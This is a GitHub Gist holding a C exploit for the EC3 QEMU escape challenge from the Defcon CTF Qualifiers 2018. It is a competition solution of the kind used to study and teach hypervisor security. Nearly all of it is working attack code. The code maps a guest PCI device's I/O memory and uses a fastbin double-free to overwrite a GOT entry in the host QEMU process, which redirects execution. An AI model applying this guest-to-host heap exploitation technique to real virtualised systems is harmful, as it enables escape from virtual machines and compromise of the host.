Created
May 14, 2018 15:34
-
-
Save saelo/fe2b422a9371aec3b8656e7299d4534a to your computer and use it in GitHub Desktop.
Exploit for the EC3 qemu escape challenge of Defcon CTF Qualifiers 2018
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Exploit for the EC3 qemu escape challenge of Defcon CTF Qualifiers 2018 | |
// | |
// Also see https://kitctf.de/writeups/hitb2017/babyqemu | |
// | |
// Copyright (c) 2018 Samuel Groß | |
// | |
#include <fcntl.h> | |
#include <inttypes.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define DMA_BASE 0x40000 | |
unsigned char* iomem; | |
void iowrite(uint64_t addr, uint64_t value) | |
{ | |
*((uint64_t*)(iomem + addr)) = value; | |
} | |
void iowrite32(uint64_t addr, uint32_t value) | |
{ | |
*((uint32_t*)(iomem + addr)) = value; | |
} | |
uint64_t ioread(uint64_t addr) | |
{ | |
return *((uint64_t*)(iomem + addr)); | |
} | |
void free_buf(uint64_t i) | |
{ | |
uint64_t addr = 0x100000; | |
addr |= i << 16; | |
iowrite32(addr, 1337); | |
} | |
void alloc_bufs(uint64_t size) | |
{ | |
uint64_t addr = 0x0f0000; | |
iowrite32(addr, size); | |
} | |
void alloc_buf(uint64_t i, uint64_t size) | |
{ | |
uint64_t addr = i << 16; | |
iowrite32(addr, size); | |
} | |
void write_buf(uint64_t i, int16_t offset, uint64_t val) | |
{ | |
uint64_t addr = 0x200000; | |
addr |= i << 16; | |
addr |= (uint16_t)offset; | |
iowrite(addr, val); | |
} | |
uint64_t read_buf(uint64_t i, int16_t offset) | |
{ | |
uint64_t addr = 0x100000; | |
addr |= i << 16; | |
addr |= (uint16_t)offset; | |
ioread(addr); | |
} | |
int main(int argc, char *argv[]) | |
{ | |
// Open and map I/O memory for the ooo device | |
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); | |
if (fd == -1) | |
exit(-1); | |
iomem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); | |
if (iomem == MAP_FAILED) | |
exit(-2); | |
// We can do various kinds of heap memory corruption. | |
// With that we essentially do https://github.com/shellphish/how2heap/blob/master/fastbin_dup_into_stack.c | |
alloc_buf(0, 8); | |
alloc_buf(1, 8); | |
alloc_buf(2, 8); | |
free_buf(0); | |
free_buf(1); | |
free_buf(0); | |
alloc_buf(8, 8); | |
alloc_buf(5, 8); | |
// Overwrite some GOT entry ... | |
write_buf(8, 0, 0x1133daa - 8); | |
alloc_buf(9, 8); | |
alloc_buf(10, 8); | |
// ... with the address of the function that just prints the flag | |
write_buf(10, -12858, 0x6e65f9); | |
alloc_buf(13, 8); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment